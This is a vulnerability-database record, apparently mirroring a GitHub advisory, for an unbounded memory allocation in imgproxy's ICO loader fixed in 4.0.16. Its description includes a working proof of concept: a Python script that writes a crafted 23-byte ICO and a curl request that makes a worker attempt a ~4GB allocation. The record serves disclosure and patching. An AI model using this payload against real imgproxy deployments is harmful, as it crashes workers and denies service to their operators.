{"id":"GHSA-mmq5-xm89-9pfg","kind":"vulnerability","aliases":["GHSA-mmq5-xm89-9pfg"],"related":[],"title":"imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field","description":"### Summary\n\nUnbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.\n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:\n\n```\nuint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);\n\n// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.\nVipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);\n```\n\nThere is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.\n\n### PoC\n\n```py\n# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.\n# Byte-identical to the checksummed, production-verified file:\n#   ico-4gb.ico  sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b\nimport struct, hashlib\n\nhdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1\nentry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)\ndata = b'\\x00'\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n    '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'\nopen('ico-4gb.ico', 'wb').write(blob)\nprint(f\"ico-4gb.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png\"\n# → outcome depends on host memory: on a memory-constrained pod the worker\n#   OOM-dies; on a larger host the ~4GB allocation succeeds transiently and\n#   decode fails -> HTTP 500 (worker survives, but each request burns ~4GB\n#   transiently — repeatable memory exhaustion).\n```\n\n### Impact\n\nUnauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.","summary":"imgproxy's ICO image loader passes an attacker-controlled size field straight into a memory allocation without checking it, so a single 23-byte ICO file makes a worker try to allocate about 4GB. Repeated requests can crash workers or exhaust host memory, causing denial of service.","severity":"high","cvss":7.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/imgproxy/imgproxy/v3","fixed":["4.0.16"],"affected":">= 3.3.0, <= 4.0.15","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-400","image-processing","imgproxy","package","self-hosted"],"not_affected_if":["managed-hosting","no-untrusted-images","version-outside-range"],"how_to_check":"- Check the imgproxy version in use, for example `imgproxy -v` or the container image tag, and see whether it falls in `3.3.0` through `4.0.15`.\n- If you run the Go module directly, check `go.mod` for `github.com/imgproxy/imgproxy/v3`.","fix":"- imgproxy `4.0.16` (fixed version; the affected range is `3.3.0` through `4.0.15`).","status":"open","published_at":"2026-10-30T22:55:49+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","triaged_at":"2026-10-30T22:58:40+00:00","updated_at":"2026-10-30T22:58:40+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-30T22:58:40Z","model":"claude-haiku-5-5","output":{"fix":"- imgproxy `4.0.16` (fixed version; the affected range is `3.3.0` through `4.0.15`).","reach":"internet","title":"imgproxy: crafted ICO file forces a 4GB memory allocation, exhausting workers","impact":"medium","summary":"imgproxy's ICO image loader passes an attacker-controlled size field straight into a memory allocation without checking it, so a single 23-byte ICO file makes a worker try to allocate about 4GB. Repeated requests can crash workers or exhaust host memory, causing denial of service.","audience":"businesses","category":"package","nicknames":[],"who_cares":["imgproxy","self-hosted","image-processing"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Workers crash or host memory is exhausted by repeated requests.","analyst_note":"","how_to_check":"- Check the imgproxy version in use, for example `imgproxy -v` or the container image tag, and see whether it falls in `3.3.0` through `4.0.15`.\n- If you run the Go module directly, check `go.mod` for `github.com/imgproxy/imgproxy/v3`.","plain_action":"","needs_analyst":false,"not_affected_if":["managed-hosting","version-outside-range","no-untrusted-images"],"who_is_affected":"Any imgproxy deployment that fetches or processes attacker-supplied images is exposed, including the 3.3.x series and 4.0.x up to 4.0.15. The advisory's proof of concept needs local file sources enabled, so deployments that only fetch remote images may be less exposed; the sources do not confirm this. Teams on managed hosting where the vendor runs imgproxy may not need to act.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"high"},"cost_usd":0.000855,"input_tokens":5375,"output_tokens":634,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-400':35B '/imgproxy/imgproxy/v3':33A '/path/to/ico-4gb.ico':358C '0':295C,308C,309C '0x16':313C '0xfa000068':256C,312C '1':296C,297C,302C,310C '127.0.0.1':356C '14':263C '16':306C,307C '23':67B,131C,247C,270C '3.3':151C '32':311C '4gb':78B,141C,257C,262C,381C,396C,421C '500':389C '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b':288C,325C '8080/insecure/plain/local':357C '9pfg':25A,30A 'actual':235C 'add':205C 'alloc':5A,60B,76B,97C,142C,186C,274C,382C,423C,432C 'allow':10A 'assert':321C 'attack':52B,106C,440C 'attacker-control':51B,105C 'attacker-suppli':439C 'attempt':139C 'b':315C 'bbbbhhii':305C 'bitmapfilehead':200C 'blob':317C,323C,330C,335C 'bmp':196C,216C 'bound':125C 'budget':433C 'burn':395C 'byte':68B,132C,239C,248C,271C,277C,336C 'byte-ident':276C 'caus':88B 'check':62B,126C,231C 'checksum':281C 'confirm':154C 'constrain':369C,411C 'contain':236C 'control':53B,107C 'count':301C 'craft':17A,130C,246C,416C 'crash':82B,414C 'curl':355C 'cwe':34B 'data':18A,108C,177C,189C,209C,214C,225C,237C,243C,254C,314C,320C 'declar':242C,253C 'decod':386C 'denial':89B 'depend':361C 'deploy':159C,436C 'detail':163C 'die':375C 'direct':119C,183C 'directori':115C,174C,251C 'dos':15A,404C 'drive':258C 'enabl':344C,346C 'entri':116C,175C,252C,303C,319C 'exact':269C 'exclud':199C 'exhaust':14A,85B,400C,407C,428C 'explicit':198C 'f':332C 'fail':387C 'field':20A,55B,110C 'file':70B,134C,197C,217C,234C,285C,342C,348C 'filesystem':352C 'fire':427C 'foreign':166C 'generat':267C 'ghsa':22A,27A 'ghsa-mmq5-xm89-9pfg':21A,26A 'github.com':32A 'github.com/imgproxy/imgproxy/v3':31A 'guint32':191C 'hashlib':291C 'hashlib.sha256':322C 'hdr':292C,318C 'header':169C,218C 'hexdigest':324C 'hhh':294C 'host':43B,86B,363C,379C,420C 'http':388C 'ico':7A,46B,69B,101C,114C,133C,168C,249C,300C 'ico-4gb.ico':286C,327C,333C 'ident':278C 'imag':37B,47B,442C 'image-process':36B 'imgproxi':1A,39B,44B,99C,137C,161C,338C,345C,350C,354C,435C 'impact':401C 'import':289C 'larger':378C,419C 'largest_image_header.data':194C 'latest':146C 'le':193C 'len':219C,334C 'live':157C 'load':167C 'loader':8A,48B,102C 'local':341C,347C,351C 'make':71B,135C 'make_ico_4gb.py':266C 'malloc':122C,212C,260C 'manual':207C 'memori':4A,13A,59B,87B,96C,364C,368C,399C,406C,410C,429C 'memory-constrain':367C,409C 'memory-exhaust':12A,405C 'mmq5':23A,28A 'need':203C 'network':403C 'null':213C,261C 'offset':244C 'oom':374C 'oom-di':373C 'open':326C 'outcom':360C 'packag':40B 'pass':49B,118C 'per':415C,424C 'png':359C 'poc':264C 'pod':370C 'present':143C 'print':331C 'process':38B,438C 'product':158C,283C 'production-verifi':282C 'py':265C 'read':180C 'releas':147C 'repeat':79B,398C 'request':80B,394C,417C,425C 'reserv':298C 'root':353C 'sane':228C 'select':173C 'self':42B 'self-host':41B 'seri':153C 'servic':91B 'sha256':287C 'singl':66B,129C 'size':19A,54B,109C,178C,190C,195C,215C,226C,238C,255C 'sourc':343C 'straight':56B 'struct':290C 'struct.pack':293C,304C 'succeed':383C 'summari':92C 'suppli':441C 'surviv':391C 'sustain':426C 'transient':384C,397C,422C 'tri':74B 'trigger':275C 'true':349C 'type':299C 'u32':111C 'uint32':187C 'unauthent':11A,402C 'unbound':3A,93C,273C 'unbounded-alloc':272C 'unvalid':95C 'use':182C 'v4.0.15':148C,162C,339C 'valid':223C 'verifi':284C,337C 'via':16A 'vip':121C,165C,211C,259C 'vips/icoload.c':103C,171C 'vipspel':208C,210C 'wb':328C 'whose':250C 'without':61B,123C 'worker':73B,83B,138C,372C,390C,412C 'write':329C 'x':152C 'x00':316C 'xm89':24A,29A","nicknames":[],"mitigations":[],"who_affected":"Any imgproxy deployment that fetches or processes attacker-supplied images is exposed, including the 3.3.x series and 4.0.x up to 4.0.15. The advisory's proof of concept needs local file sources enabled, so deployments that only fetch remote images may be less exposed; the sources do not confirm this. Teams on managed hosting where the vendor runs imgproxy may not need to act.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"first_public_at":"2026-10-30T22:55:49+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-mmq5-xm89-9pfg","url":"https://github.com/advisories/GHSA-mmq5-xm89-9pfg","severity":"high","published_at":"2026-10-30T22:55:49+00:00","modified_at":"2026-10-30T22:55:52+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","fetched_at":"2026-10-30T22:56:53+00:00","note":null}],"documents":[{"id":26518,"url":"https://api.github.com/repos/imgproxy/imgproxy/security-advisories/GHSA-mmq5-xm89-9pfg","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":26519,"url":"https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":26520,"url":"https://github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":26521,"url":"https://github.com/imgproxy/imgproxy/releases/tag/v4.0.16","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}